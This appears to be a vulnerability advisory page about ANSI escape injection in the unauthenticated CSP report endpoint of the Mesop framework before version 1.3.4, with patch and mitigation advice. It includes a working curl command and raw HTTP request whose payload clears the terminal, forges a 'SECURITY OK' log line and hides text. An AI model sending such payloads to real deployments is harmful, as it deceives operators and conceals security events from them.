Listen to this Post
Mesop is a Python-based UI framework that allows users to build web applications. Prior to version 1.3.4, the unauthenticated `/__csp__` endpoint accepts JSON reports and passes attacker-controlled values directly to a logging handler. The `csp_report` function in `mesop/server/static_file_serving.py` reads fields such as document-uri, blocked-uri, and `violated-directive` from the incoming request and prints them to standard output using `print()` without any sanitization of control characters. Because the endpoint is unauthenticated, any remote client can send a crafted POST request containing ANSI or VT100 escape sequences embedded in these fields. When an operator views the resulting logs in an ANSI-capable terminal, the injected sequences are interpreted by the terminal emulator rather than being displayed as literal text. This allows an attacker to clear the screen, reposition the cursor, hide text, change colors, or inject forged messages that appear to originate from the application. The vulnerability is classified as CWE-117 (Improper Output Neutralization for Logs) and has a CVSS 4.0 base score of 5.3 (Medium). The issue is fixed in Mesop version 1.3.4, where terminal control sequences are properly neutralized before being written to stdout.
DailyCVE Form
Platform: Mesop
Version: Before 1.3.4
Vulnerability: ANSI Escape Injection
Severity: Medium
date: 2026-09-23
Prediction: 2026-09-23
What Undercode Say
Analytics
curl -X POST https://target.example/__csp__ \
-H "Content-Type: application/json" \
-d '{
"csp-report": {
"document-uri": "https://victim.example",
"blocked-uri": "\u001b[2J\u001b[H\u001b[32m SECURITY OK - No CSP violations found \u001b[0m\n\u001b[8mhttps://evil.example",
"violated-directive": "script-src-elem"
}
}'
@app.route(prefix_base_url("/<strong>csp</strong>"), methods=["POST"])
def csp_report():
report = request.get_json(force=True)
document_uri = report["csp-report"]["document-uri"]
blocked_uri = report["csp-report"]["blocked-uri"]
violated_directive = report["csp-report"]["violated-directive"]
print(f"... Blocked URL: {blocked_uri} ...")
Exploit: (Educational Purposes!)
POST /<strong>csp</strong> HTTP/1.1
Host: target.example
Content-Type: application/json
{
"csp-report": {
"document-uri": "https://victim.example",
"blocked-uri": "\u001b[2J\u001b[H\u001b[32m SECURITY OK - No CSP violations found \u001b[0m\n\u001b[8mhttps://evil.example",
"violated-directive": "script-src-elem"
}
}
The request is accepted (HTTP 204), and the injected escape sequences are written to stdout unchanged. When rendered in a VT100-compatible terminal, the original CSP warning is visually replaced with attacker-controlled content.
Protection
Upgrade Mesop to version 1.3.4 or later. The fix properly neutralizes terminal control sequences before logging. If upgrading is not immediately possible, restrict network access to the `/__csp__` endpoint and sanitize all incoming JSON fields by stripping or escaping ANSI/VT100 control characters before they reach the logging handler.
Impact
An unauthenticated remote attacker can submit a crafted request to the `/__csp__` endpoint containing ANSI/VT100 escape sequences. Because these values are written directly to stdout without sanitization, an attacker can inject forged log messages that appear to originate from the application, manipulate the terminal display by clearing the screen, moving the cursor, or overwriting previously displayed log output, hide or disguise security-relevant log entries using terminal formatting sequences such as colors, hidden text, or cursor positioning, mislead administrators during monitoring or incident response by displaying attacker-controlled messages (e.g., fake “SECURITY OK” notifications), and reduce the integrity and trustworthiness of operator-facing logs, making troubleshooting and security investigations less reliable.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
